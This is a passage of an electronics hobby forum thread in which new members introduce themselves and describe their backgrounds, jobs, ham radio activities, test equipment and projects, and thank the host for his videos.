I dropped out and started a small business doing hardware/software solutions for the Apple ][ (the IBM PC didn't exist yet), which was the cool "open platform" of its time.: its cover was even held on with industrial Velcro, not screws, to encourage users to open it up. I quit developing for Apple when its focus shifted to the Mac, whose philosophy I abhorred. In my fanboy eyes, Apple made *itself* "Big Brother, around the time they presented the infamous Big Brother ad IMPLYING that IBM was! At least IBM let you install a hard drive. Apple wouldn't let Mac owners have hard drives for years, because Apple didn't make one--and you didn't dare risk voiding your Mac warranty, because early Mac power supplies might blow out every few months. (Apple II, III, and Lisa owners installed them anyway)

Electronics had always been a handy sideline for me, right up through medical school. I did lab designs for college research labs, and other projects, but it was just "one of those things you do" alongside any number of hobbies and skills:  chemistry, computers, cars... I was into everything (and not just things beginning with C) .. okay, "flying". There. That's not a "C"!

I did ultimately patent one quite commercially unsuccessful biomedical device, but it had nothing to do with electronics, and I'm not particularly interested in biological/medical applications now. I've just been returning to it on a hobby level, and in recent years, I have slowly been outfitting the proper electronics lab I always wanted -- but I've hardly done anything with it all. I tend to spend my limited hobby time fixing things (I can't stand to see things broken or needlessly discarded) and improvising solution -- my greatest joy.

I've been taking a lot of online courses (Agarwal's 6.002 at MIT, the Stanford AI course, a few Coursera CompSci, etc.) but as far as electronics goes, I've found myself doing pretty much what I always did: improvising, making modest PCBs as needed (for many reasons, I primarily use the photo resist method, with laser-printed acetate) I guess I'm looking for something big to throw myself into -- not a big project (pretty much any DIY CNC or rapid prototyping set-up can suck up all any hobbyist's time) but a field of interest.
Title: Re: New Member, Please introduce yourself
Post by: RodH on February 15, 2013, 08:57:11 am
My name is Rod, I have a degree in electronics engineering technology from the University of Houston. I am retired, after having worked in broadcast television for some 45 years.
Title: Re: New Member, Please introduce yourself
Post by: Anquietas on February 15, 2013, 11:17:19 am
Hey everyone!

I am a 23 year old graduate student in Mathematics (specializing in Algebraic Geometry) who will soon get his degree and go on to study Molecular Biotechnology because he feels still young enough to do so; hopefully without losing sight of research in maths, though I think this is unavoidable short-term. I love all things interdisciplinary and I have recently (re-)discovered a special interest in electronics after tuning in on Dave's EEVBlog. I want to learn electronics design for its own picturesque sake (and a quite useful side effect might be that I will be able to design home made application-specific lab equipment for future research in biotech).

I am a total and utter beginner when it comes to practical electronics / electronics design. Dave has done a great job getting me wet over it (and esp. RF circuitry, but that's basically like alien technology to me at this point, and it's probably going to takes years of exposure to non-RF electronics design before I can start doing something in RF without it becoming an entirely hopeless undertaking). My main focus is on my academic studies, though, so I will have to relegate electronics to a weekend hobby for the time being. 

I hope I won't be bothering you guys with too many questions. :P

Best wishes,
Alex
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on February 16, 2013, 10:29:13 pm
Hi, I am Axel from Berlin/Germany and just enjoy Dave's very special way of doing this Blog. I am a computer scientist and much more into photography than electronics, even though Dave managed to finaly make me understand some facts, that I never catched up with at university. So, I feel something like an autumn renaissance of electronics in myself.... *rhubarb*

 :-+
Title: Re: New Member, Please introduce yourself
Post by: Anquietas on February 17, 2013, 04:40:35 am
Hi, I am Axel from Berlin/Germany and just enjoy Dave's very special way of doing this Blog. I am a computer scientist and much more into photography than electronics, even though Dave managed to finaly make me understand some facts, that I never catched up with at university. So, I feel something like an autumn renaissance of electronics in myself.... *rhubarb*

 :-+

Ah, you are the guy who sent Dave the stunning photo calendar! :-+

( P.S. Grüße aus der Pfalz. ;) )
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on February 17, 2013, 09:42:21 am

Ah, you are the guy who sent Dave the stunning photo calendar! :-+

( P.S. Grüße aus der Pfalz. ;) )

Stunning? Thanks...  :-) I just took some pictures of what got in my way :-) And I thought, Dave deserved getting one copy :-) See my web link for more pictures and blog on that stunning world trip :-)

(P.S.: Grüße zurück aus Preußen)
Title: Re: New Member, Please introduce yourself
Post by: Dellarius on February 18, 2013, 08:29:53 pm
Hai,


I'm James (19) and from Central Queensland, Australia.. not Austria. Alright, jokes aside I'm a Second year High Voltage Electrical apprentice for Bhp Billion. I work on the maintenance team working mainly on Marion and Bucyrus Erie Draglines and P&H Electric Shovels. On these equipment we maintain everything from the PLC systems to the 1 MW Electric motors. apart from these heavy machinery we also maintain all power lines, substations and electrical infrastructure on the mine site.

Since I was really young I had a bad habit of pulling electronic components apart and repurposing them. Got my first electronics hobby set after I rigged up a sensor from a McDonalds toy to the computers speaker so I knew who was entering my room. Parents weren't amused.

Dave's responsible for two hobbies and possibly my career in the electrical field.. though it's not electronics it's still electrical.
Since watching EEVblog in 2010 I've started to redo electronics kits and projects, started Geocaching and regrew my interest in how things work after becoming a zombie in highschool.

My other hobbies and interests are volunteering in the State Emergency Service (Volunteer rescue group, Australia wide,) Armature Radio, Video games, Hiking and climbing (Abseiling.) Also after watching Dave's multimeter review I really want to try Canyoning.

(http://img600.imageshack.us/img600/3185/headingtoadragline.jpg)
(http://img694.imageshack.us/img694/4662/jamescy.jpg)
(http://img692.imageshack.us/img692/6472/53354150014163180641518.jpg)
Title: Re: New Member, Please introduce yourself
Post by: Ozracing on February 19, 2013, 05:40:10 am
Hi,

I am Aldas also im not very old, just 20 years old and im studying Electronics engineering at Kaunas Technology University.
I started to do all sorts of bad stuff to electronic devices when i was 6 years old, taking them apart and etc.  ;D
This turned out to be a habit of tinkering with stuff so decided that i do like to make, destroy, repair electronic devices
Now i just cant live without electronics so thats that about me :)

Regards,
Aldas
Title: Re: New Member, Please introduce yourself
Post by: mcufreak on February 20, 2013, 07:14:00 am
Hello guyz, I'm an electrical engineering student from Bangladesh. Nice to meet you all. I love working with microcontrollers.  :-+
Title: Re: New Member, Please introduce yourself
Post by: K9SPY on February 20, 2013, 10:36:43 am
Hello,

I am K.C. (yes like the Sunshine Band...) and I live in Kirby, Texas.. .which is essentially San Antonio.

I am an Electrical Engineering student and I have not come CLOSE to deciding my concentration. I plan to get a second major in Physics after my E.E. and go on to Master's and hopefully PhD in Physics. For E.E. I am currently considering RF, Control Systems, Electronic Materials and Devices, and Communications as concentrations.

I work as a Network Analyst at a local utility company and make a decent wage. I am able to afford parts and components, but not multi-GHz O-scopes or other expensive toys.Hence, I want to eventually become a professor! (and actually RESEARCH things...!)

Currently I am wrapped up being a ham radio enthusiast. I have to go home a climb 40 feet up a tree to bolt on an antenna tie-point. Then I have to climb up another! I already got the center one last week...

I just finished an RF-upconverter so that I can tune 50MHz and below on my Nooelec RTL Rafael Micro SDR dongle. Now I can receive from DC to 1.7GHz on my laptop and see the airwaves.

I built a Michigan Mighty Mite, a super-simplified 80m CW (morse code) transmitter a few weeks ago in old fashioned style on a nicely finished plank of wood with 2mm brass rod as the interconnect and whatever nice brass and old mica insulators I could find to pretty it up.

With the SDR and the super-simple transmitter, I plan to begin very gently and scientifically experimenting with radio and electronics in-general, observing how my changes affect the output, and reading for advice and tricks.

I have a very nice electronics and metal fab setup in my garage for building everything from radios to entire residential antenna towers.

I also have a lovely wife, (4) kids, (7) if you count my beloved dogs, and infinity if you count the rest of the animals out family has adopted!

K9SPY is my FCC Amateur Radio callsign. I recently got it on the license plate of our truck, car, and my dual-sport motorcycle.

This year I hope to have a home-built radio setup mounted in ammo cans on my Suzuki DRZ-400 for ARRL Field Day, where I will assume the role of using my "dirt bike" to get to the top of some random local peak to setup a relay point (repeater) to get emergency radio traffic out of a valley and off to whichever direction it is needed. I'll have to fabricate a suitable "luggage rack" along with some electronics to support the power needs on my VERY small bike.

Looking forward to lots of chats and no flames...!

kc
San Antonio, TX
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on February 21, 2013, 12:32:29 am
I am K.C. (yes like the Sunshine Band...)

That's the way, uh hu uh hu, I like it, uh hu uh hu  O0
Title: Re: New Member, Please introduce yourself
Post by: N4-ES on February 21, 2013, 03:53:00 pm
Hi, first post on the site, and very recent viewer of the EEVBlog channel. I was directed there by a friend who makes slick electronics for BMW motorcycles, when I asked him what DMM could replace my failed units... and WOW my eyes are wide open after watching Dave tear down all manner of electronics. Great teaching tool, I have some catching up to do, from college engineering courses 20 years ago.

I've written process control software (in LabVIEW) for the past 20 years, and have connected to so many test instruments I've lost count. Serial, TCP/IP, ModBus, GPIB... anything with a data port, I can get its data out and send back in a control scheme. But sometimes I also need to get my hands dirty with signals and circuits and soldering... it's all fun!

I saw that Dave has an Amazon link, and used that for the nice Fluke I'm getting to replace the dead DMMs, let's not even get into names, they were functional but cheap. Thanks, Dave, for the videos, and enjoy the 6% commission. I'll be enjoying my re-education in electronics.

- Andrew
Title: Re: New Member, Please introduce yourself
Post by: gianfranco on February 21, 2013, 11:45:59 pm
Hi everyone,
I'm Gianfranco from Italy. I'm 49 years old. I have a degree in electronic engineering at Politecnico di Torino. Now I'm working at Politecnico as a lab technician and supervisor. I collect measuring instruments ranging from early 1900 up to nowadays. In this moment I have about 1500 pieces (especially Hewlett Packard) but the collection is growing although I have no more space at home :palm:
I'm also an amateur radio station and iz1ici is my call. I hope to learn from the community a lot of hints to improve my skills in the beatiful world of electronics.
Nice to meet you all.
Gianfranco
gianfranco.albis@polito.it
Title: Re: New Member, Please introduce yourself
Post by: KJDS on February 22, 2013, 05:36:23 am
I'm Kev, 47 years old, electronics graduate and have been doing RF design professionally for over 25 years.

Currently working for myself, specializing in high power or low noise amplifiers in the low GHz region and also currently selling a lot of used test gear.
Title: Re: New Member, Please introduce yourself
Post by: Eunit on February 23, 2013, 10:04:54 am
Hello from good ol Canada eh?.

I'm Ernie and I am a hobbyist. I am interested in automation and open source hardware design. Everything I know about electronics is from long hours of research using the google machine.
Compared to most or even all, I am a total newbie.
Title: Re: New Member, Please introduce yourself
Post by: metawops on February 25, 2013, 08:15:06 am
Ahoi!  ;)
I'm Stefan from Germany.
I've got loads of hobbies and they come and go like sinus waves (with variable phase lengths per hobby  ;D)
One of it -- and a rather strong one -- is definitely electronics.
However, I'm the guy who came to it via computers (studied math & cs), then microcontrollers & the MAKE movement.
I'm currently getting my feet wet with my Arduino and my Raspberry Pi.
I'm loving  and learning electronics (again; had modular experiments sets as a teen) with Charles Platt's nice "MAKE:Electronics" book.
And I'm loving the 555 timer chip and shift registers and 4017 decade counters and 7-segment LEDs and and and ...
I've got a few projects in mind I want to build some day.
But for now it's learning, learning, learning.
My latest precious is my Voltcraft DSO-1062D oscilloscope. Absolutely loving it! Learning SO MUCH about circuits these days! Awesome!
Oh, and I'm sometimes writing about the things I'm learning -- in German, sorry: http://musicdiver.com/wordpress/category/elektronik/ (http://musicdiver.com/wordpress/category/elektronik/)
All the best & take care!
Stefan.
Title: Re: New Member, Please introduce yourself
Post by: Technician on February 26, 2013, 01:10:56 am
Hello everyone !

My name is Tomislav Mrla and I am an electronics technician employed at Ruder Boskovic Institute (natural sciences research institute in Zagreb, Croatia). My working place is small electronics repair/servicing (and very often research and development  :)) lab in mass spectrometry laboratory. In other words, lab in a lab. Most of the time I do analytical equipment servicing (mass spectrometers, photo-electron spectrometers, gas analyzers etc. ) and I am telling you, there is fun and exotic staff here !  When I started working here I could not believe the complexity of some equipment, but how could it be interesting otherwise ? :)

I joined the forum after months of watching excellent videos done by Mr. Jones. These videos are very educational, professional, full of useful content and some of my colleagues here like these very much.

I am looking forward to post on this forum.

Regards,

Tomislav


Title: Re: New Member, Please introduce yourself
Post by: BigWhig on February 28, 2013, 05:27:23 am
Hello!

Jostein from Norway here. I'm working with marine automation systems. I've always been interested in anything that runs from a battery or a wall-socket. I'm planning to dive deeper into the world of electronics. First step is going through the basics again.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: VEGETA on March 04, 2013, 04:41:06 am
Peace-upon-you, I'm Vegeta (true name is top secret ^_^) I'm a mechatronics engineer (final year) from Jordan.

I like Microcontrollers and I like to learn PCB design and later on FPGA design.

And I like to learn how to design a complete product (especially the enclosure stuff) and marketing it...

thanks...
Title: Re: New Member, Please introduce yourself
Post by: Adal on March 06, 2013, 07:34:22 am
Hello!

I´m Adalberto from México. I´m an  electronics test gear repair man  :-BROKE |O

For living I´m an electronics enginner. I have a lot of expertise  in cellular RF networks. From DAMPS to LTE   :-DD.

Title: Re: New Member, Please introduce yourself
Post by: Fezder on March 07, 2013, 08:44:13 pm
Hey people,
I'm Atte,  currently 21 years old, EE student from Finland. My other education is carpenter. My hobbies and interests are electronics related: I make/design my own tinkers, try to repair different ''junk'' whatever comes at hand. Currently under repair is stereo transistor amp My other hobbiy is chip carving, which i do when there is time.
My equipment consitst pretty much all ''needy'' at the moment; dual trace analog scope, funktion generator, capacitance/esr meter, temp.controlled soldering iron (too many chinese cheapos have burned...), clamp meter, and couple basic multimeters. Of course all screwdrivers necessary. My next investment is hot air soldering station for SMD and other stuff. Current project (one of many) is coil testing circuit, which has adjustable current and frequency.

Thats pretty much it :).
Title: Re: New Member, Please introduce yourself
Post by: philpem on March 08, 2013, 09:49:33 am
May as well say hi, such is the custom :D

So, yeah... I'm Phil - by trade I'm a software engineer, but in my off time I muck around with microcontrollers, motors, opamps and other electronic whizz-bang-ery. A couple of years ago I designed the DiscFerret disc archiving tool (www.discferret.com (http://www.discferret.com) if you're interested in that) and that's kicked off an interest in FPGAs, CPLDs and 32bit ARM microcontrollers :)

Reckon that's about all there is to say really - I'm a typical Brit, can talk the hind legs off a donkey, but once you ask me to talk about myself I go silent!  ;D
Title: Re: New Member, Please introduce yourself
Post by: baljemmett on March 08, 2013, 10:03:44 am
May as well say hi, such is the custom :D

Evening Phil -- nice to see you here -- for some reason I thought you were already a member!
Title: Re: New Member, Please introduce yourself
Post by: 2400Ws on March 08, 2013, 06:26:17 pm
G`day all

A quick hello. As you may have guessed from my greeting i live in the land of oz.Have been a technician most of my life ( a few forays into other fields) working on most consumer items from calculators to TV`s ,projectors  and the like.Started my working life when LSI chips were just becoming common so that will give you an idea of my age ! Have just started (6mths) a new job working on  studio flash gear and cameras.

I have been reading the forum and watching the videos for about a year now and would like to thank Dave for a very informative and interesting site made that much better by the  helpful and intelligent members  in this  forum.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: NewfieTechie on March 09, 2013, 06:12:49 am
Hello! I have been a long time fan of the EEVBlog videos on YouTube. I am currently working on my Thesis to graduate from Electronic Engineering Technology.
Title: Re: New Member, Please introduce yourself
Post by: LloydAZ on March 09, 2013, 07:25:49 pm
Hello from sunny Arizona!

I'm fairly new to electronics and want to learn more.  I work as a software developer and I have a Bachelor of Science in Computer Information Systems.

I've really enjoyed the YouTube videos for EEVBlogs and I'm looking forward to chatting with everyone and learning.
Title: Re: New Member, Please introduce yourself
Post by: edpalmer42 on March 10, 2013, 03:38:56 pm
Hi All,

I'm a retired electrical engineer with 31 years of technical experience with our local telephone company.  My special interest is precise time & frequency systems like precision quartz oscillators and rubidium frequency standards.  I've been lurking for a few months and decided that it was time to join.

Ed
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Post by: Ed.Kloonk on March 10, 2013, 03:58:15 pm
Hi Ed.

From one ed to another.

 :)

(two ed's are better than one!)

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Post by: Radio Tech on March 11, 2013, 09:56:29 am
I am from  the East coast of North Carolina
A little bio since this is my first post.
I am 51 years old. Got into electronics when I was 12. Mostly into short wave listening so I build my own receivers back then.  Was into the CB craze of the 70’s. Still with it today.  I have worked for EF Johnson, General Electric, and Curtis Mathis.  I am a tube freak and love old school radios.  I repair and restore RF communication equipment as a small business.  Been an amateur (Ham) radio operator since the 90’s.
Some of my test gear is: IRF 1200S, Motorola Tone/frequency/deviation auto tune meter, Sencore CS-61 scope. Really thinking of a new Chinese DSO unit.

Ran into Dave on YouTube EEVblog a few weeks back, I love this guy. So nice to see someone with such a passion of electronics.  I am afraid guys like me (RF tube) are a dying breed.
Looking forward to reading more here.
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Post by: Quick5pnt0 on March 11, 2013, 01:49:05 pm
Not much to say, just a hobbyist who found this place from daves videos on youtube.
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Post by: Nemesis04 on March 11, 2013, 02:05:11 pm
Hi, long time lurker first time poster. Electronics interests me immensely and dable with a few side projects from time to time.
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Post by: AppliedVoltage on March 11, 2013, 03:00:50 pm
I'm a power electronics enthusiast. I like working with high voltages and high amps, and sometimes both. I also do some smaller stuff, programming microcontrollers and interfacing with them.

Love the videos.
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Post by: warywolfen on March 11, 2013, 03:04:40 pm
My name is Clyde, and I'm from New Mexico, USA.  My electronic interests tend toward high-end audio and RF.  I've worked as an electronics technician and broadcast engineer for 14 yrs. I do a lot of shortwave listening. I'm also interested in chemistry and have a degree in chemical engineering.  Oh, I'm also drooling over that Fluke in the contest!  :-DMM
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Post by: RickieSalad on March 11, 2013, 03:08:33 pm
Hey Dave

Not sure if you actually peruse the new member thread now that there are 63 pages worth, but I'll write as if you will see this...

I just wanted to thank you for your great videos and the forums.  I've been watching you for quite some time now. I remember watching videos from the shop in your garage. I loved how tried to absolutely maximize every inch of bench space by building a table top that just barely cleared your car hood, classic! 

When I was a kid I attended a semester at ITT Technical Institute for electronics. I loved it and was doing great in it. I got a great job offer and the training was going to interfere with school so I decided that I'd take a semester off and go back.  Of course life got in the way and that never happened.  I've been in IT for about 15 years and I'm getting really tired of it.  Finding your videos has really gotten me much more into electronics again.  I'm very seriously considering going back to school and get an EE degree, from a real university this time, not an ITT type school. So I'd have to say you've really had an impact on my life. So thanks.

I've been trolling the forums for quite a while now but I'm still one of the "young players", as you say, so I don't have much to offer so I never registered. I just like seeing peoples projects and things like that.  Although if it makes you feel better I did buy an Extech EX330, and a Rigol DS1052E through your Amazon store, I assume you must get a little cut of that.  ;)

I saw your video on Facebook about the Fluke CNX 3000 giveaway and I thought this would be a good time to get my 5 posts out of the way so I can enter.  8)

Thanks again.



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Post by: potatogun96 on March 11, 2013, 03:21:08 pm
Hi, my name is Eddie, I live in the United States, and am 16 years old. I have been into electronics since I started taking stuff apart at the age of 8-9. I got into it seriously over the past 2 years or so, and it has become my new favorite hobby. I like to play with everything, from programming to high voltage. I hope to become an EE in the future.

If you want to see some of the stuff I made, check out my youtube channel: www.youtube.com/user/potatogun96 (http://www.youtube.com/user/potatogun96)
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Post by: killernat on March 11, 2013, 04:53:57 pm
im from montreal and im studying in industrial electronics with plans of getting an electronics engineering degree
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Post by: LyTeo on March 11, 2013, 08:08:55 pm
Andrew from Latvia here. Currently 2nd semester masters in electrical engineering. Watching EEVblog youtube videos for some time now and figured it`s a good time to join, because of the contest obviously! :)
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Post by: ktulu on March 11, 2013, 08:28:03 pm
Hi,
I am mainly in the low voltage, low power stuff and digital electronics. Found out about eevblog trhough Dave's PICKit3 video. Since than I've watched all of them.
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Post by: SebG on March 11, 2013, 08:46:12 pm
Hello everyone.  My name is Sebastian and I am from Canada, BC.  I got into electronics around grade 8 and one day someone showed me how to turn bits on/off on a PC's parallel port using BASIC.  I used an old computer with 5" floppy drive, a tiny harddrive (well maybe 10 Million! bytes) and a black and Yellow monitor (located in my closet next to my desk).  And after few hours of playing around turning on LEDs, fans, transistors and other Devices I asked my self why does pin 0 turns on when I output 1 and pin 1 when I output 2 and so forth.  I had no knowledge of what binary numbers were or what they represented.  None!  Well something about 1s and 0s.  Well I figured out that adding say 1 and 2 will turn each corresponding pin, pin 0 and pin 1 respectively, and that any number between 0 and 255 would turn some combination of pins.  Then ideas started to fall in place and I've learned all about binary numbers: how they are represented, the idea that they are base 2 and how to convert between base 10 numbers and binary. (It was a mind blowing day I will not forget) I consider that day to have inspired me to pursue learning about electronics and now I have a degree in Electrical Engineering.

This is my first post and 4 more so i can qualify to win the Fluke CNX Contest.  This will be hard since I don't want to just post ... crap. 
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Post by: XpsikotiX on March 11, 2013, 08:51:52 pm
Hello,
I'm Adrian from Italy. I enjoy very much the quality content of the forum and the videos. Keep up the great job
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Post by: Dongulus on March 11, 2013, 10:03:25 pm
Hello to anyone reading this,

I'm Spencer. I'm a recent college graduate in California with a BSEE. I've kept up with Dave's videos for years and I am just now joining the forum (to be honest because of the contest announcement  ;D). From a cursory look at some of the threads, I can tell that becoming active in this forum should prove to be of value to me as both a young professional and a hobbyist.

Happy reading,

Spencer
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Post by: paulsev on March 11, 2013, 10:44:09 pm
Hi my name is paul, I am a 3rd year EE stuent at Queensland University of technology and I am working full time for an electric utility in Australia called Energex. I have watched Daves videos for years and only recently started using the forum as I am developing an open source Geiger Counter.
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Post by: Nack486 on March 11, 2013, 11:34:12 pm
My name is Ivaylo and I'm from Bulgaria. I study in an engineering high school but I have yet to decide if I want to study programming or EE. I'm interested in embedded systems and audio circuits.
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Post by: mwtheobald on March 11, 2013, 11:50:23 pm
Hi,

I'm from Canada and haven't done electronics in many (25+) years but my 9yr old daughter is very into breadboarding and looking at circuit boards (what she used to call cities, most likely because the cap's/etc looked like skyscrapers).  I really enjoy the video's and hope Dave keeps it up.

Mike.
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Post by: ngfish on March 11, 2013, 11:52:04 pm
Hey, I'm nick from hawaii... Just another electrical engineering student working towards getting a masters in EE.

I'm a lead systems engineer on a student project launch next fall.. (CubeSat)  And I hope to change paths and move into research using liquid metal in microwave circuits and antennas. 

Well, Hello
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Post by: toster on March 12, 2013, 12:21:54 am
Hello from Latvia!

Currently an IT student that enjoys watching the show. Keep up the good work Dave!
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Post by: Hair_of_the_Dog on March 12, 2013, 05:21:52 am
My name is Jeremy. I'm a hobbyist in the EE field. I'm one of those software guys Dave makes fun of all the time.
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Post by: snowl on March 12, 2013, 05:41:09 am
Hi,
I'm Jörg from Germany, and I work in Computers (Programming, Monitoring and Automation), but as I started as a Communication Technican around 25 years ago so I still have electronics as Hobby and to fall back to when it is not programmable  :-/O
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Post by: andybdjuk on March 12, 2013, 06:04:36 am
I'm Andy,

I manage a Biomedical Engineering Department in a district general hospital. We manage and maintain a wide portfolio of medical equipment from a light you shine in your ear to life support equipment. Over the last 25 years medical equipment has gone from quite basic electronics to the cutting edge technologies being used today.

I have 30 years in electronics including fabrication of Josephson Junctions ( http://en.wikipedia.org/wiki/Josephson_effect (http://en.wikipedia.org/wiki/Josephson_effect) ) for use in radio astronomy in the early years . Although I now only do a little electronics at work, I am very active on the hobby front.

I am into home automation, solar panels, wind turbines and stuffing information down the internet.

I'm an avid listener of the Amp Hour and EEVBlog

Thanks

Andy


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Post by: knarf.be on March 12, 2013, 06:58:41 am
Hi, my name is Frank.
I like electronics and ict. I'm currently still at high school, but doing a lot of small projects in my spare time.
Almost any of my equipment is recycled self made or el cheapo, because the budget is very low.
I' m from belgium, and a also have a blog where I post in dutch my projects.
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Post by: VK3GCP on March 12, 2013, 08:22:16 am
Hi all.

Name this way is Gerard, hailing from the ever changable melbourne!

I have been interested in electronics since I was 8. I now work in live sound and lighting production, and I find my electronics experiences invaluable every day!

I am also a Ham, callsign VK3GCP.

Cheers!

Gerard.
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Post by: Frollard on March 12, 2013, 09:16:11 am
Greetings - circuit geek from Calgary, AB Canada!  Long-time instructables member (frollard) where you'll usually find me in Q/A answering questions about led current limiting resistors and the like!

been tinkering for many years - I have a few things on the go:
http://www.youtube.com/frollard (http://www.youtube.com/frollard)
^currently working on some fun addressable led stuff, I try to vlog my cooler projects.

3d printer being built: Hadron ORD Bot...needs a little work and a few more components.

Animatronic iguana-sized bluetooth lizard prop for photography client...still in design phase...electronics done just need the mechanical skeleton and skin.

1986 Road Kings (Williams) Pinball machine that needs constant electronic and mechanical TLC.

High efficiency high-power led lighting (90+% in the DC-DC current limiting switch mode conversion) powering pwm enabled 20-watts-per-channel RGB, will become a dmx/usart controlled stage light.

I look forward to lurking around and poking in here and there!
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Post by: peterthenovice on March 12, 2013, 09:52:07 am
hello,I am a novice the electronics world. I am of the few teens in mississippi that like get into electronics.
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Post by: Kaluriel on March 12, 2013, 12:39:02 pm
I joined a while back, but never got around to introducing myself, I'm Steven from the South of England.
A games programmer by trade, and interested in electronics as a hobby.
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Post by: ajc on March 12, 2013, 04:33:14 pm
Hi,

I'm Adrian from Australia.  I'm into HW design and a bit of SW.

Been on the forum for a while, but never did an intro...
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Post by: millerb on March 12, 2013, 05:23:28 pm
I'm Brian from Salisbury Maryland, US. My background is mainly software but I have a strong interest in electronics. Lately I've been doing a lot of stuff with FPGAs.
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Post by: talsit on March 12, 2013, 06:47:55 pm
Hey, I'm DMO, born in Spain, lived most of my life in Australia, a year in Namibia, and now in Japan.

I've always been a visual person, programming graphics for games for several years, then graphics for animated features (happy feet 2), and now on live action movies making custom hardware.

Everything I learnt is thanks to people like you that share their knowledge. Thanks!!
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Post by: leno on March 12, 2013, 07:02:19 pm
hey my name is Leonard
i am a auto electrician in Adelaide South Australia
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Post by: commerou on March 12, 2013, 07:20:00 pm
Hi My name is Kasper
I am a hobbyist in electronics
Greetings from Denmark
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Post by: beret82 on March 12, 2013, 08:10:41 pm
Hi,
My name is Marcin and I'm form POLAND.
Gratings to all you guys here.

Dave you are doing great job, keep it that way.

Marcin
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Post by: Mindlesscoolguy on March 12, 2013, 08:43:00 pm
hi, I am Mindless (i don't like using my real name), I am an Australian, studying in Malaysia. I have been doing electronics since i was 8 (Well, soldering, anyway). When i was 10 I built myself an 100 watt Stereo Amplifier and pre-amp, using an STK 4192 II op amp (Off the top of my head =P), i am now in 13. I program in many languages, including: BASIC, Java, C++, C, Processing and a few others i cant remember.  Best thing about Malaysia: (Besides the food) That the components here are dirt cheap in comparison to Australia
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Post by: maca_404 on March 12, 2013, 08:47:48 pm
G'Day

John here from sunny Victoria, I have ten years experience in the hell called IT Administration and Dave and his videos have inspired me to take my hobby to the next level.  I have been consumed by electronics since getting my first DSE Funway kit when I was 8 years old and it snowballed from there,  As of this year I am an albeit old EE Student and I would like to thank Dave for inspiring me.

Cheers
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Post by: Lambros on March 13, 2013, 04:11:39 am
Hello from athens,greece. I'm george, undergraduate  of electronics engineering at the Tecnological Educational Institute of Athens.
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Post by: Teslacoil4148 on March 13, 2013, 01:04:26 pm
Oh, the dreaded introductions forum that appears on all decent forums, guess I'll start from scratch for this one.

Livin' out in NY, US, currently a High school student, taking a half-day one year "Technical electronics" course (Essentially, "here's ohms law, here's how to calculate power, here's how to find series resistance, series-parallel, solder together kits, read a schematic, and do some basic computer repair", so pretty much the very basics). I spend hours reading articles and watching videos on the subject of electronics, with no real focus on any specific field. I'm aspiring to go into computer hardware engineering...What else might I put that could be even remotely relevant to this forum? Guess that'll be all for now.
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Post by: CHexclaim on March 13, 2013, 05:07:13 pm
Hello to everyone.
 
I was born and currently live in Montevideo, capital of Uruguay, South America (not in U'reGay, as Homer Simpson once said). Since I was a kid my dad started calling me Charlie although my real name is Carlos. I was very fortunate to attend a bilingual  primary and secondary school (english as a second language) here in Montevideo. I can read, write and speak english well enough as to understand Dave's aussie accent without any trouble.

I dropped engineering uni due mainly to other difficult situations in life at that time. I wish I would have finished it but this is the way life is.

I am 42 and counting. I have two young kids and a wonderful wife. My work makes me travel every week to Buenos Aires (Argentina). I work in a small company which started in Montevideo selling and deploying high end audio and video systems in the residential sector. The company then included home automation and lighting control in the portfolio. I worked at this company for around 15 years now and I lived all its evolution. Our main customers are in Argentina today so that is the reason for my commuting.

As a note, let's leave the high end audiophile discussion for another time, but after 15 years I can tell that, yes, human senses are far more subtle than we think, and that, the stuff that really bring the magic out is the one that is really well engineered and built. I truly understand the people that don't believe it, but just because it is difficult to come across a really good setup, budget independent.

I am project manager but, as in every small company, I am always hands on stuff. I am proud of many complex projects where I was heavily involved in the design and deployment stages. Not all of them, of course.

Since a small kid I was interested in electronics. I still remember the germanium transistor exploding in my hand when I plugged it into mains (my first unstable amplifier). I blame my interest on my dad. He worked for many years in IBM at the time where you had to probe everything until you found out the failing transistor. None of that hot swappable board replacement modern stuff. He studied industrial mechanics when young and with time he manage to bring together a fairly complete workshop at home. He also is a HAM (the old school ones!). All that combined together, well, molded me.

I am a HAM too, CX6BT, bitten by the magic of HF communication. My transceiver is an old (valve) Collins KWM-2A, if this says something to someone.

When I was a boy, as Dave says, Internet did not exist. I think that the positive side of that is that to make something work you had to figure it out yourself. I set aside electronics as a hobby for many years and it is Dave's fault for me to be catching up, but I never set the soldering iron aside, for sure.

I call myself a generalist as I have some level of interest in the way everything works and why it is done that way. Anyways, every one has its own understanding of the term. I am lucky to have been able to travel a bit. Argentina, of course, Brazil, Paraguay, United Sates, Spain, Portugal and England (well, Gibraltar..).

Please excuse me for the length of this essay. Best wishes to all. My gratitude to Dave, Chris, Jeri and all the other guys that are bringing my electronics hobby back.

I am @chexclaim in twitter. I do not post much but retweet things that I find useful and important. I have Facebook but just because necessity. I am not a fan of it.

Charlie.

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Post by: Uffe on March 13, 2013, 10:14:47 pm
Hi,

Ulf here from Sweden, been lurking for long but took the time register.
Really appreciate all the great knowledge thats around here and how helpful pepole are!

 :-+

//Uffe 
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Post by: skjafar on March 13, 2013, 10:26:40 pm
Hello, My name is Sofian Jafar, I am an electronic engineer at an accelerator which is currently being built in Jordan, it's a specific type of accelerators called Synchrotron. Anyway, I first started watching Dave's Video Blog from the time video 10 came out (can't remember the date  :P)
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Post by: MacAttak on March 14, 2013, 03:22:27 am
Keith, in Atlanta GA.

I originally went to school in the early 90's for EE with aspirations of designing circuits or perhaps digital processors, but was turned off by the absolutely abysmal math program at Louisiana Tech in those years (the Calculus professors were terrible and 100% unmotivated to teach anything). I ended up in Computer Science but landed a job in IT before finishing my degree.

After spending the past 15 years in software development / architecture (consultant), I picked up an Arduino last year and "remembered" my old interest in EE. I quickly moved on to general microprocessor programming (fascinated by the really tiny ones like the ATtiny series), and from there I moved into general electronics and PCB design. I have been going back through educational texts to learn everything I missed from the past 2 decades, and re-learning the fundamentals of EE theory. I have built a number of smaller projects now, with several more in-progress. I've been building up a small workspace with a bench PSU, solder station, hot air system, etc. Still need to get a starter scope but I'm in no hurry.

I stumbled upon EEVblog a few months back while looking for educational videos for SMD soldering techniques, and I have been reading these forums pretty much every day since then. I only just registered a few days ago because I didn't feel like I was knowledgeable enough to help anyone else until recently.

